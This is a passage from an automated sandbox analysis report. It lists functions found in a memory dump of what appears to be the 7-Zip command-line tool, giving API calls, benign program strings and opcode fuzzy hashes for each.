                                                                                                                                                                                                                                                              Function 006DD078 Relevance: 8.8, APIs: 7, Instructions: 53COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
                                                                                                                                                                                                                                                              • Instruction ID: 2e3a8ea50f6f32dcfe6ae917234e9fcf0dc3169a9e2f527409ec4667e36511ec
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A611526374298085CB50EF39D8616A92361EBC6FA8F184376DF6D57795CE20C887C308
                                                                                                                                                                                                                                                              Function 006D94A8 Relevance: 8.8, APIs: 7, Instructions: 53COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 5256221f962b44b0bae35b382dbe45db83359140e8ddd7a193f45a58e1d598c8
                                                                                                                                                                                                                                                              • Instruction ID: 5b5fbcf4048f7c676ba81fc02fd9e44ed6df6565bfe3c9066538dfcc68d43b37
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5256221f962b44b0bae35b382dbe45db83359140e8ddd7a193f45a58e1d598c8
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A3016563B0198089CB61EE3ADD611A86362EB95FE4719036ADF2D1B759DE20CC838354
                                                                                                                                                                                                                                                              Function 006EECDC Relevance: 8.8, APIs: 7, Instructions: 53COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: a7c0efb318bb74a8d890d53e5fdb20e58762af4d74ce4d6a5953f08b0b6776bf
                                                                                                                                                                                                                                                              • Instruction ID: 769cc0fe9eb4d3c4a9607b51841dd7246bc3c79f8a7ccd564a0143f484dd4114
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a7c0efb318bb74a8d890d53e5fdb20e58762af4d74ce4d6a5953f08b0b6776bf
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B0116563702A8185C660AF3AD8606AD2351EB83FA4F084375DF6D5B395CE20C887C304
                                                                                                                                                                                                                                                              Function 006F6B3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F6B7C
                                                                                                                                                                                                                                                                • Part of subcall function 006B6618: FormatMessageW.KERNEL32 ref: 006B6676
                                                                                                                                                                                                                                                                • Part of subcall function 006B6618: LocalFree.KERNEL32 ref: 006B6698
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B237E
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: fputs.MSVCRT ref: 006B23B8
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B23C4
                                                                                                                                                                                                                                                                • Part of subcall function 006B2300: fputc.MSVCRT ref: 006B2311
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F6BAE
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F6BCC
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputsfree$FormatFreeLocalMessagefputc
                                                                                                                                                                                                                                                              • String ID: : $----------------
                                                                                                                                                                                                                                                              • API String ID: 1215563195-4071417161
                                                                                                                                                                                                                                                              • Opcode ID: a844113c29b51b67a554de1085d4dbdaa26cfeae81c93ca6df2fe7833a2ff0cb
                                                                                                                                                                                                                                                              • Instruction ID: da932ec55c2f73e391866f87126bc3e592798e63944fbc56a6ac0dda45f802d0
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a844113c29b51b67a554de1085d4dbdaa26cfeae81c93ca6df2fe7833a2ff0cb
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BB0161B370090585DA20EF26E9A076E2322F785BE4F149325EF6E077A4DE3CD496C744
                                                                                                                                                                                                                                                              Function 006F430C Relevance: 8.8, APIs: 7, Instructions: 40COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 68bdc44b06e71d8ca899e980b2fc608d9b8ec41ef539896fcf9a05c16de42b60
                                                                                                                                                                                                                                                              • Instruction ID: 2f939e9374022de55581e021a47dc13e3efae3fe07254f575ee692b72e1bbe7e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 68bdc44b06e71d8ca899e980b2fc608d9b8ec41ef539896fcf9a05c16de42b60
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 00F03CA3B1585589CB51AF3ADCA11EC2762AB86FE47194265EF1D5B359CE20C8838388
                                                                                                                                                                                                                                                              Function 006FBCA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FBCD4
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B237E
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: fputs.MSVCRT ref: 006B23B8
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B23C4
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FBD17
                                                                                                                                                                                                                                                                • Part of subcall function 006B2300: fputc.MSVCRT ref: 006B2311
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006FBD2B
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputsfree$fputc
                                                                                                                                                                                                                                                              • String ID: : $Write SFX:
                                                                                                                                                                                                                                                              • API String ID: 3584323934-2530961540
                                                                                                                                                                                                                                                              • Opcode ID: 0858727a3d2188373386701502e4491ffbda9cac782742d358bcdb59749fd626
                                                                                                                                                                                                                                                              • Instruction ID: 23b0e946a0c236e817b184ea67feec1b252ca51747a988ef6864e2dbd1df6f54
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0858727a3d2188373386701502e4491ffbda9cac782742d358bcdb59749fd626
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9D0144A230494180DA60DF25E8553AE5362EB84FF4F489331AE2E477A9DE2CC586C354
                                                                                                                                                                                                                                                              Function 006FBB18 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 34COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FBB49
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FBB76
                                                                                                                                                                                                                                                                • Part of subcall function 006B2568: free.MSVCRT ref: 006B25B5
                                                                                                                                                                                                                                                                • Part of subcall function 006B2568: free.MSVCRT ref: 006B25C0
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputsfree
                                                                                                                                                                                                                                                              • String ID: Creating archive: $StdOut$Updating archive:
                                                                                                                                                                                                                                                              • API String ID: 2581285248-1319951512
                                                                                                                                                                                                                                                              • Opcode ID: fa99d9322174690535497a2fdc6b3fb821a8ef614adec2876cfee3e0304a3bf5
                                                                                                                                                                                                                                                              • Instruction ID: 023e5de976c441507c87c7125da76891040497801c119331fd1cd88c22873bd4
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: fa99d9322174690535497a2fdc6b3fb821a8ef614adec2876cfee3e0304a3bf5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4CF062A6705A46C1DE49DF26E9A43AD2363AB44FD4F48E4368E0F4B718DF2DC499C300
                                                                                                                                                                                                                                                              Function 006BECDC Relevance: 8.8, APIs: 7, Instructions: 21COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: a6ffee1f7beb7570a11c572b2a51825e1f9c21a757c731fd3d53281771c8903a
                                                                                                                                                                                                                                                              • Instruction ID: 2949b99f3ecb87592cb11bbdfce63e094dc521bb101b0d69a5f1e97729a5a72a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a6ffee1f7beb7570a11c572b2a51825e1f9c21a757c731fd3d53281771c8903a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8BE0F59261040581DB54FF7ADCB116C33A5E7D5F447141155DF2D4B325CD10C8D3838C
                                                                                                                                                                                                                                                              Function 006C3F0C Relevance: 7.7, APIs: 6, Instructions: 191COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 167d3dd7d05659914fe51c99b092b0523b74a4040e8688ef161580a56a1d8b48
                                                                                                                                                                                                                                                              • Instruction ID: dbae954713c15eaadb9150659a6c79ab3ba26308ed6e07d46c1fdccaa9b032e4
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 167d3dd7d05659914fe51c99b092b0523b74a4040e8688ef161580a56a1d8b48
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: FE8126B3305A9085CB10EF2AD4906ED77A2F785F98F48452ADF690BB69CF35C886C315
                                                                                                                                                                                                                                                              Function 006DE954 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 182COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID: Q
                                                                                                                                                                                                                                                              • API String ID: 0-3463352047
                                                                                                                                                                                                                                                              • Opcode ID: 708d1e99ea4dbab6444f2f0d64f520fcdf94141e7dceb2e288505dbe970de39d
                                                                                                                                                                                                                                                              • Instruction ID: 69def60f538cd1fd314619c75fe870c7a845fece0d99461cd3ae26e5b94d6375
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 708d1e99ea4dbab6444f2f0d64f520fcdf94141e7dceb2e288505dbe970de39d
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A261B572718A8182CB20EF25E4805AEB762F7C4B94F545217FB9B5B758DF79C882CB04
                                                                                                                                                                                                                                                              Function 006C88EC Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 138COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID: act:$ cpus:$ gran:$ page:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-454015223
                                                                                                                                                                                                                                                              • Opcode ID: 76ce10e08a2d6057f8ef9cd9582c59867cc4f4bd53d0f5b9092ac68896eb7e3a
                                                                                                                                                                                                                                                              • Instruction ID: c1a0f25de4bfc2bac5956bee5dac0c4e90bb60644c46dc55164dbe6fd265ccb7
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 76ce10e08a2d6057f8ef9cd9582c59867cc4f4bd53d0f5b9092ac68896eb7e3a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0351E6A530060295CE68EB16E9717FC23A3EB897D0F84922AEA1A07B58DF7CD591C344
                                                                                                                                                                                                                                                              Function 006C0160 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 123COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006C01D7
                                                                                                                                                                                                                                                              • _CxxThrowException.MSVCRT ref: 006C02EA
                                                                                                                                                                                                                                                                • Part of subcall function 006BFD30: _CxxThrowException.MSVCRT ref: 006BFE50
                                                                                                                                                                                                                                                              • _CxxThrowException.MSVCRT ref: 006C031F
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • There is no second file name for rename pair:, xrefs: 006C0302
                                                                                                                                                                                                                                                              • Empty file path, xrefs: 006C02CD
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrow$free
                                                                                                                                                                                                                                                              • String ID: Empty file path$There is no second file name for rename pair:
                                                                                                                                                                                                                                                              • API String ID: 3129652135-1725603831
                                                                                                                                                                                                                                                              • Opcode ID: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
                                                                                                                                                                                                                                                              • Instruction ID: 76806d3c0e7906320de85bbee7507b30db9a07a600d9698a734cf26d390c89f2
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 5541E472208684C1DA30DB19E844BAEBB22F3457B4F50431ADFB907BE9DB39C695CB40
                                                                                                                                                                                                                                                              Function 006D03BC Relevance: 7.6, APIs: 5, Instructions: 108COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ErrorFileLastSecurity
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 555121230-0
                                                                                                                                                                                                                                                              • Opcode ID: dbe237cfadc90cb09746e3018bc91a680bb73bee37176d8e7191999cda9ad572
                                                                                                                                                                                                                                                              • Instruction ID: d3827a4297fe50de7a6685156584dce684eca56d260d5d4c65e3fee2e392d894
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: dbe237cfadc90cb09746e3018bc91a680bb73bee37176d8e7191999cda9ad572
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3B418A33600A80D6D760CF26E844BAA73A7F784B98F594136DF5A8BB14EF71C886C751
                                                                                                                                                                                                                                                              Function 006F4594 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 97COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID: = $h<p
                                                                                                                                                                                                                                                              • API String ID: 1294909896-1637250983
                                                                                                                                                                                                                                                              • Opcode ID: 40c11fba967689670f12ed8931cb4eba44630f327dd0b6864abb2cd98b0bc6cc
                                                                                                                                                                                                                                                              • Instruction ID: f6fdad87a724898eb05f1ac8b47ae1ee8558325607ba03dd6c2a483434918dfd
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 40c11fba967689670f12ed8931cb4eba44630f327dd0b6864abb2cd98b0bc6cc
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B7310A6331958496CB50DF54E4903AFA762F7D1750F540215FB4E83B68DF78C985CB00
                                                                                                                                                                                                                                                              Function 006EE580 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 95COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
